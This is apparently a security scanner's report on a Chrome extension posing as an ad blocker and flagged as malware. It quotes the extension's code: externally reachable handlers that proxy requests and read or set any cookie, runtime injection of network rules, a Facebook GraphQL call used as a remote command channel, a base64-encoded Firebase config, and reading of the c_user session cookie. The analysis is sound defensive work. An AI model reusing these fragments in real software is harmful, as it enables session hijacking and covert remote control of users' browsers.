Security Alert: Confirmed Malware
AdBlock Plus - Always Free
ID: oaokpcjkmfmacfdnhmimangelmdpkgmf
Supported Languages
Extension Info & Metadata
Publisher Contextual Analysis
- Author
- brainerkevin728View Profile
- MX records exist
- Yes
- Domain exists
- Yes
- Is disposable
- No
- Is role-based
- No
- Mailbox exists
- Yes
Blocking ads and pop-ups on YouTube, Facebook, Twitch, and your favorite websites has never been easier.
Instantly block annoying ads, pop-ups, and intrusive trackers with AdBlock Plus - Always Free. AdBlock Plus - Always Free is the only tool you need to take full control of your web browsing experience. Eliminate unwanted ads, intrusive notifications, and advertising trackers within a few clicks. Key benefits include: Block Unwanted Ads & Trackers Enjoy a peaceful internet experience without any limitations by removing unwanted ads and trackers. Disable Annoying Notifications Instantly disable browser push notifications and interruptions with our 'Pop-Up Blocker' feature. Regain control today and fully manage your web browsing experience completely free of charge to disable unwanted ads, intrusive trackers, and annoying notifications. AdBlock Plus - Always Free will not store or log your data; your privacy is our priority. With the Facebook and YouTube ad-blocking feature, there may be instances where the feature doesn't work if developers change the source code and functionality. We cannot guarantee certainty, but we always strive to ensure functionality and provide you with the best experience using Facebook and YouTube. When using the Facebook ad-blocking feature, we will check if you are logged in to perform the ad-checking process and remove annoying ads. This ensures the utility works smoothly without conflicting with default activities.
The service worker registers onMessageExternal alongside onMessage and routes both into the same dispatcher, exposing a generic command surface (fetch, get/setCk, get/setDataToStorage, updateRule) to externally_connectable origins (facebook.com and youtube.com per manifest). Any web page on those origins can drive arbitrary fetches, read/write cookies on any domain, and rewrite the extension's network rules — a privilege-escalation pivot not justifiable for an ad blocker.
chrome.runtime.onMessageExternal.addListener(((e, a, t) => r(e, t))), chrome.runtime.onMessage.addListener(((e, a, t) => r(e, t)));const r = (e, a) => { switch (e.action) { case "fetch": return n(e, a), !0; case "getDataFromStorage": return i(e, a), !0; case "setDataToStorage": return d(e, a), !0; case "removeDataInStorage": return l(e, a), !0; case "updateSetting": return o(e, a), !0; case "setCk": return m(e, a), !0; case "getCK": return h(e, a), !0; case "updateRule": return w(e, a), !0;The 'fetch' handler accepts caller-supplied URL, headers, params, method and body, then disables the extension's own declarativeNetRequest 'block_ads' ruleset before issuing the request and re-enables it afterward. This is a generic request proxy that explicitly evades the extension's own filtering, returning full response data and headers to the caller — usable for SSRF-from-extension, cookie-bearing cross-origin reads, and exfiltration that bypasses the page's CORS and the extension's own block list.
c = async (a, r) => { try { let o = a.url; const n = await e(t); if (await chrome.declarativeNetRequest.updateEnabledRulesets({ disableRulesetIds: [s] }), a.params) { const e = a.params; o = a.url + "?" + new URLSearchParams(e) } const c = await fetch(o, { method: "GET", headers: a.headers }); if ("true" === n && await chrome.declarativeNetRequest.updateEnabledRulesets({ enableRulesetIds: [s] }), 200 === c.status) { ... r({ status: !0, data: t, headers: c.headers })setCk/getCK forward caller-controlled arguments straight into chrome.cookies.set/get with no domain, name, or origin validation. Combined with onMessageExternal exposure to facebook.com and youtube.com, this lets those origins read or overwrite cookies (including HttpOnly session cookies) for any host — a credential/session theft primitive masquerading as an ad-blocking helper.
m = async (e, a) => { var t; await (t = e.data, new Promise((e => { chrome.cookies.set(t, (a => { e(a) })) }))), a({ status: !0 })}, h = async (e, a) => { var t; a({ status: !0, data: await (t = e.data, new Promise((e => { chrome.cookies.get(t, (a => { e(a) })) }))) })}updateRule wipes existing dynamic rules and installs caller-supplied action/condition pairs verbatim, with no schema validation or origin check. Because this handler is reachable via onMessageExternal, externally_connectable sites (facebook.com, youtube.com) — and any in-page actor that can load resources from them — can install arbitrary redirect/block/modifyHeaders rules at runtime, including rules that redirect login or banking traffic.
w = async (e, a) => { const t = e.data.rule, s = (await chrome.declarativeNetRequest.getDynamicRules()) .map((e => e.id)); await chrome.declarativeNetRequest.updateDynamicRules({ removeRuleIds: s }), t.rule.length > 0 && await chrome.declarativeNetRequest.updateDynamicRules({ addRules: t.rule.map(((e, a) => ({ id: 1 + a, priority: 1, action: e.action, condition: e.condition }))) }), a({ status: !0 })}The content script POSTs to Facebook's internal /api/graphql/ endpoint with a hardcoded fb_dtsg CSRF token, jazoest, lsd, and a numeric doc_id, then takes the response's `rule` field and pipes it directly into the background's `updateRule` handler — installing remote-supplied declarativeNetRequest rules at runtime. This is remote rule/code-loading via Facebook's GraphQL as a covert C2 channel; the host is also overridable by `o.api`, allowing the operator to swap the rule source without a new extension version.
l = null !== (t = o.api) && void 0 !== t ? t : "https://www.facebook.com", u = { av: (new Date).getTime(), __user: (new Date).getTime(), __a: 1, __req: "k", __hs: "19741.HYP:comet_pkg.2.1..2.1", ... fb_dtsg: "NAcOpHUJdVf62iRAwGMq6cldUWHUvsiues6QUNL3_c9E-Mbl4Rm1qZw:40:1705458389", jazoest: "25482", lsd: "IUMue1fssuzJsW6Yy94L-P", ... fb_api_req_friendly_name: "LSPlatformGraphQLLightspeedRequestQuery", doc_id: 9944623912245126 }, s = new FormData, u) u.hasOwnProperty(c) && s.append(c, u[c]);return e.next = 7, fetch(l + "/api/graphql/", { method: "POST", body: s, redirect: "follow"});...(p = h.data).rule && f(JSON.parse(JSON.stringify(p))), ... void 0 !== s && k("updateRule", { rule: s }, ...)The Firebase configuration is base64-obfuscated and decoded with atob/JSON.parse at runtime — pointing at an attacker-controlled Realtime Database (adblock-6478e-default-rtdb.firebaseio.com) that the extension subscribes to under the path 'extension'. Live updates from this RTDB are used to drive behavior selectively on facebook.com, youtube.com, and google.com origins, providing a persistent remote-configuration / dynamic-payload channel outside the Web Store review surface.
}(Rt(JSON.parse(atob( "eyJhcGlLZXkiOiJBSXphU3lDVThuYkhDSXhDRUhLa1ZVZ2NCSXhsU0ctRGtHSGZRY0EiLCJhdXRoRG9tYWluIjoiYWRibG9jay02NDc4ZS5maXJlYmFzZWFwcC5jb20iLCJkYXRhYmFzZVVSTCI6Imh0dHBzOi8vYWRibG9jay02NDc4ZS1kZWZhdWx0LXJ0ZGIuZmlyZWJhc2Vpby5jb20iLCJwcm9qZWN0SWQiOiJhZGJsb2NrLTY0NzhlIiwic3RvcmFnZUJ1Y2tldCI6ImFkYmxvY2stNjQ3OGUuYXBwc3BvdC5jb20iLCJtZXNzYWdpbmdTZW5kZXJJZCI6IjU1NjczMTA4MzQ0MSIsImFwcElkIjoiMTo1NTY3MzEwODM0NDE6d2ViOjU3NGU2ZDA1NmQxZTMxN2UxMzUwOTAifQ==")))),El = function() { ... gl(dl(Sl, "extension"), (function(e) { r(JSON.parse(JSON.stringify(e.val()))) })); ... children: [(0, I.jsx)(D, {}), "https://www.google.com" === window.location.origin && (0, I.jsx)(L, {}), "https://www.facebook.com" === window.location.origin && (0, I.jsx)(j, { extensionInfo: n }), "https://www.youtube.com" === window.location.origin && (0, I.jsx)(U, { extensionInfo: n }) ]On Facebook pages, the content script asks the background to read the `c_user` cookie via the chrome.cookies API. `c_user` is Facebook's logged-in user-ID cookie; reading it through the cookie API specifically (rather than document.cookie) implies the goal is to confirm session presence and identify the victim before triggering the GraphQL pull and rule-injection flow above. Pairing user identification with remote rule loading is consistent with targeted account/session abuse rather than ad blocking.
checkLogin: function() { k("getCK", { url: window.location.origin, name: "c_user" }, (function(e) { e.status && null !== e.data ? o(!0) : o(!1) }))}The manifest grants broad host permissions and the cookies permission, then explicitly opens onMessageExternal to facebook.com and youtube.com pages. With the background.js handlers for `fetch`, `getCK`/`setCk`, and `updateRule`, this configuration is the wiring that turns the extension into a remote-controlled cross-origin proxy/cookie jar for those two domains.
{ "externally_connectable": { "matches": [ "https://www.facebook.com/*", "https://www.youtube.com/*" ] }, "host_permissions": [ "https://*/*", "http://*/*" ], "permissions": [ "cookies", "storage", "declarativeNetRequest" ]}The popup loads otplib (a TOTP/HOTP one-time-password library) from a `scripts/` folder also exposed via web_accessible_resources. An ad blocker has no legitimate need for OTP/2FA generation code; bundling it alongside the cookie-read/Facebook-session logic is consistent with MFA-token handling for compromised accounts. (The referenced files were not in the extracted bundle, so the script source itself could not be inspected.)
<div id="oaokpcjkmfmacfdnhmimangelmdpkgmf" data-component="popup"></div><script src="../scripts/otplib.buffer.js"></script><script src="../scripts/otplib.index.js"></script><script src="../static/content_scripts/main.js"></script>By severity
Versions scanned
Showing 1 of 3 scanned versions with more than one unique finding. Counts are unique findings that include each version.
| Extension Version | Code Review Findings |
|---|---|
| 1.0.0.1 | 9 |
Files with findings
4 distinct paths — top paths by unique finding count:
- service_worker/background.bundle.js4
- static/content_scripts/main.js3
- manifest.json1
- pages/popup.html1
URLs
View the external URLs this extension communicates with to understand its network activity and data interactions.
Gain full insight into all external connections.
Upgrade for full visibility.
Gain full insight into all external connections.
Upgrade for full visibility.
Code Diff
Compare extension code between any two versions.
No comparable text files found between these versions.
Browse and explore files within this extension package
Gain full insight into all external connections.
Upgrade for full visibility.